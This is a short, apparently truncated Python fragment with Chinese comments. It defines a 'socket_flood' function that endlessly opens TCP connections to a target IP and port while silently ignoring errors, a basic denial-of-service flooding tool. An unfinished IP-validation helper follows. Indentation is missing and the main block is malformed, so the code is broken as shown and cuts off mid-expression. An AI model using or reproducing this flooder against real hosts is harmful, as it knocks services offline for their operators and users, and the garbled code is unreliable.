def socket_flood(ip, port):
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1) # 设置超时时间为1秒
s.connect((ip, port))
except socket.error:
pass # 忽略连接错误
if __name__ == '__main__':
def is_valid_ip(ip):
parts = ip.split('.')
if len(parts) != 4:
return False
for part in parts:
if not part.isdigit() or not 0